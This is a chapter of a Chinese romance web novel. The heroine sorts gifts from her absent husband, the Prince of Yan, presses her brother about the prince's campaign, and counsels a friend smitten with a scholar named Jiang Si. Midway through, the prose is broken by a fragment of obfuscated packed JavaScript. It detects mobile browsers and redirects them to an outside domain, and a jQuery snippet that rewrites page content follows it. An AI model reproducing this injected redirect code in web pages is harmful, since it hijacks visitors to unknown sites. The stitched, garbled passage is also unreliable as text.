数日前，王长史走得突然，并未留下只言片语，可是府中多的是伶俐人才，燕王刻意寻来的几箱子财宝物件，一样不落送到萧雁南手中。


    这日，风和日丽，她精神头尚好。前脚拜别前来探望的秦师兄，后脚就见王府亲卫，抬着几大箱子入内。


    王府亲卫三千，俱是北地彪悍人物，身高体长，一见便知是个中高手。两个亲卫一道，共抬一个。四角包铜，鎏金花边的箱子，沉甸甸，落在如斯亲卫肩上，也可见他们脚步扎实，落地有声。


    显见是装有好些东西。


    来人并无多话，只说这是王爷吩咐，叫他们送到王妃手中。


    萧雁南再度听到王妃的称呼，有些恍然，似乎多年不见，偶然听来，极为亲切。她开心，照着在王府时候的惯例，一人赏一袋银子，另吩咐人好生送出去。


    下晌，她将丫鬟婆子都撵出去，一人在库房内登记造册。


    金器玉器，西域来货，南洋舶来品，自是不去说它，且单说说后几个较为寻常的物件。头一个，是杭余宣德纸。纸质坚韧、纹理清晰，极适合书画。摊开一张放在手心摩挲，缓缓笑开。


    王爷不善言辞，不会表达，可他定然是瞧见自己挂在正房明间的那幅画。


    送来宣德纸，精挑细选。


    第二一个，是秋景记的蜡胭脂。浓郁花汁，混合香甜蜂蜜，馥郁芳香，润泽光滑。萧雁南并未将其入库，悄悄放在衣袖当中。今晚试试，捻上一块，涂抹双唇，粉蜜润滑。


    再一个么，是祥华坊的金箔胭脂。殷红膏子当中，掺杂细密金粉，用于女子花钿，浓艳瑰丽，恍若神妃仙子。


    后头的，无需赘述。每样，俱是精挑细选，着人从四面八方搜罗而来。他一个糙老爷们，也不知如何得知这些物件，又是如何着人采买的。萧雁南念及此，唇角的笑意，从面颊蔓延，眨眼遍及眉梢，光彩照人，灿然夺目。


    翌日，病体萧尘不在，她穿件水红斗篷，额间一抹莲花钿。


    立于廊庑之下，晨起微光洒落面皮，沐浴金光。冬日暖阳，不如何耀眼，可她周身佛光，加之额头花钿金光，相互映照，妖艳绚烂。


    忽闻廊下传来响声，抬眸望去，见是二哥萧雁北，她灿然一笑，“二哥，今日不当差么？你又告假？”


    未料得见如此明艳夺目的妹妹，萧雁北双眼发昏，脑子打结，“妹妹，你回光返照啦？”


    话一出口，方知自己说错，连忙找补，“妹妹，二哥不是这意思，你信我，哥哥是为你好，你身子骨弱，赶紧回去歇着，别吹风。好容易才养好。”


    萧雁南的好心情，散去几丝，“你个没脑子的！”


    “诶，我是为你好，妹妹，大哥不在，我就是你唯一的哥哥。”


    “二叔三叔那里，还有两个哥哥呢！”


    “他们跟我能一样，好你个萧雁南，身子骨养好了就忘了你哥哥不是。你也不好好想想，这几日，是谁没日没夜照顾你，给你打探消息，给你说道外头闲话，哄你开心。你良心被狗吃了！”


    萧雁南并非诚心和二哥吵架，见状立马软和，柔声道：“二哥，二哥，我的好二哥，你快过来，妹妹我有事问你。”


    萧雁北不信，左看看又看看，连房顶上，都跳起来看看，见并无任何异常，踱步到萧雁南跟前，防备道：“你待作何？”


    “我的好二哥，你告诉我，王爷外出征战，何时回来？”


    萧雁北一下蹦起来，跳开一丈远，“你问这个作何？！”


    “我就问问。”


    “你别问。”


    萧雁南绕过美人靠，走下来，立在萧雁北不远处，“为何不能问？是出事了？”


    她担心焦急，萧雁北看在眼中，哎哎呀呀好几声，“让你别问，你就别问，你二哥就是个混日子的，又不是跑江湖的，那里都知道。”


    这话说的很是不妥，二哥在燕王府上当差，一星半点儿肯定是知道的。


    萧雁南疑惑道：“王爷肯定是出事了，对不对？！”


    萧二哥没可奈何，摆摆手，往后退两步，“哎呀呀，我的亲妹妹，别问了别问了。”


    萧雁南急了，“你说不说，不说，我去告诉阿娘，让她给你找个厉害媳妇，天天管你。横竖我现已归家，插手二哥的婚事，该是小事一桩。”


    “我求你了，姑奶奶，别问，你二哥我还想保住狗命呢。”


    “你说不说。”


    “哎哎哎，我说我说，阿娘不让我说，”萧雁北推脱这么久，总算找到合适的托词，“上次跟你说起王爷写折子，阿娘回去就打我一顿，我都这大年纪了，我容易么我。”


    萧雁南心中猜想未能得到证实，空落落的，看向萧二哥的眼神，多有不善。


    腊八之后，萧雁南担心之余，闲来无事，便邀上曹三娘子、二妹妹和三妹妹等人，游玩嬉闹，间或说上一两句心里话。生辰宴那档子事，曹三临死一句话不说，吓了个半死，后来又听闻萧雁南被送走，心中不安，哭哭啼啼许久。


    萧雁南不在意，反过头来安稳她，“都过去了，而今啊，我等着王爷回来。”


    曹三妹妹抽抽噎噎，“听说你们两个都要合离了，你还等他作甚。”


    “你不懂，我等他回来，嗯，”等他回来作何呢？萧雁南不知该往何处思索，“等他回来，和他致歉？”


    曹三的抽噎哽住，“彤彤，你变了。你等王爷回来道歉？那时候，你们两个吵架，你没和他道歉么？你从前不是这样的人，你一向知错就改……”话像是说的有些过，曹三停下，饮茶缓解。


    “我是这样的？”萧雁南自觉不像自己，“你别老夸我，我也是有缺点的。”


    “呃，”曹三再度饮茶，“彤彤，你，你，要么有错当场认，要么，梗着脖子抵死不认。今日是因着什么，要等王爷回来道歉。”


    “我！”


    萧雁南寻不到理由，又见曹三直勾勾看向自己，双眼满是探究，她一时心慌意乱，“三妹妹，你这是什么话，我一向敢作敢当，女中豪杰。”


    “你急什么，没说你不是。”


    萧雁南：……我竟有被曹三怼得说不出话的时候！


    心中咚咚乱跳，很是不安，萧雁南反唇问：“我这里无事，倒是三妹妹你，生辰宴听便听你说起，你阿娘要给你相看小郎君，如何了？可有进展？”


    曹三羞涩，推萧雁南一把，“哎呀，你问什么问，我今日刻意避开秦郎君，避开你几个妹妹，来此就为给你赔罪，你居然还笑话我，当真是好没意思。”


    “呀呀呀，瞧这模样，是寻到有意的了？”


    萧雁南好容易避开曹三的问话，那里肯放弃。


    “哎呀，没有……”


    “行行行，三妹妹不说就罢了，左右你到时候下定，亲迎，我定然在。”


    曹三左右为难，想了又想，双眸一阵微红，莹莹泪光渐次起来，“我告诉你就是了，你别笑话我。”


    萧雁南狠狠点头。


    “彤彤，你见多识广，你可知道屏兰府有个蒋四郎？”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983844|177339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >屏兰府，渭水以南，同榆北城，相隔几百里路，军中快马，三两天可到。


    萧雁南疑惑，“这远，你阿娘舍得？没在榆北城，给你寻一个？”


    “都是没影的事，我就是问问你，打听打听，”曹三急了，拉着萧雁南的手，不撒开，“那日，我阿娘约上庞家夫人，在广和楼相看，说好的是庞二郎，哪知道，我一进去，见到两个人。一个么，庞二郎，一个么，就是这将四郎。听他说，他来北地游学，想要请见王爷……彤彤，我……”


    “所以，你今日避开众人来寻我，一则为早前之事致歉，二则为蒋四郎说话？”


    曹三连忙摆手，“不是不是，彤彤我不是的。蒋四郎那日是有说过这样的话，可是，可是，我知道你的难处，你的处境，我给回绝了。我不会叫你为难。


    眼下说来，我就是向你讨个主意，我觉得蒋四郎真好看，像是月下青松，难得一见的清俊公子。我想，彤彤你给我说说屏兰府蒋家如何？”


    萧雁南难以置信，这还是她从前认识的纯真三妹妹么，她捧起曹三的脸，细细端详，不可置信问：


    “就一张脸，把你给骗了？你虽说已回绝他，但这话依然说到我这里来。你我是最好的姐妹，为你好，我定要好好想想法子帮他。他蒋四郎，这一招以退为进，极好极好。”


    萧雁南眼中，没有怒气，有的全是对曹三的担心。


    曹三看在眼中，双眸水汽氤氲，“我不知道，我不知道……彤彤，我不知道，他，他……”


    “好了好了，”萧雁南安慰她，“话已说到这里，你已经明白，你还念着他么？”


    曹三愣神，不说话。


    “他蒋四，利用你天真纯善，不是个好人，你别被他的相貌给骗了去。知道么？”


    曹三眼泪滑落，许久方才点点头。


    一向只知道吃点心玩乐的曹三妹妹，头一次对一个人有意，不成想落得这样结果。萧雁南心中发酸，说起自己了解的屏兰府蒋家。


    屏兰府，和榆北城不同，地处淮水以南，依山傍水，外无敌寇，内无悍匪，一年当中，最为担心之事，莫过于淮水涨潮。说上一句洞天福地也不为过。如此太平富庶之地，城南蒋府当属其中最为清贵之所。


    世代居于此的蒋家，科举传家，诗文立本。每代儿郎，不乏文采风流之辈。现今的家主，蒋老爷，成平三十年探花郎，风采不凡。年轻一辈当中，最为耀眼者，当属蒋四郎。


    排行为四，内定的下一任家主。


    说到最后，曹三听得满脸颓丧，低着头不使人瞧见她的神色。萧雁南将一切看在眼中，绝了继续话头。


    寻摸一番，试图开解曹三，萧延纳问道：“他当真这样好看？三妹妹，你若不好同你阿娘说，咱们找个合适的时候，我替你看看。若是他刚来榆北，寻不到合适的门路见王爷呢，若是他那日并非有心呢？咱们，总归是要看过再说。对不对？”


    “不了不了，蒋四郎不是好东西，再好看，我也不念着他了。过去了，彤彤。”


    曹三娘螓首低垂，一双手拽着萧雁南右手，不停摩挲。话说到最后，几分哽咽。不期然之间，一滴泪落在萧雁南右手，滚烫，炙热。


    同曹三相识多年，她一向是个没心没肺的欢快娘子，而今为男子，一个一面之缘的男子落泪，没由来的，萧雁南觉得异常不可思议。


    “三妹妹，蒋四郎就这样好看？就这样不舍？”


    曹三抬头，星眸灿然，泪光莹润，“彤彤，你不也舍不得王爷么。”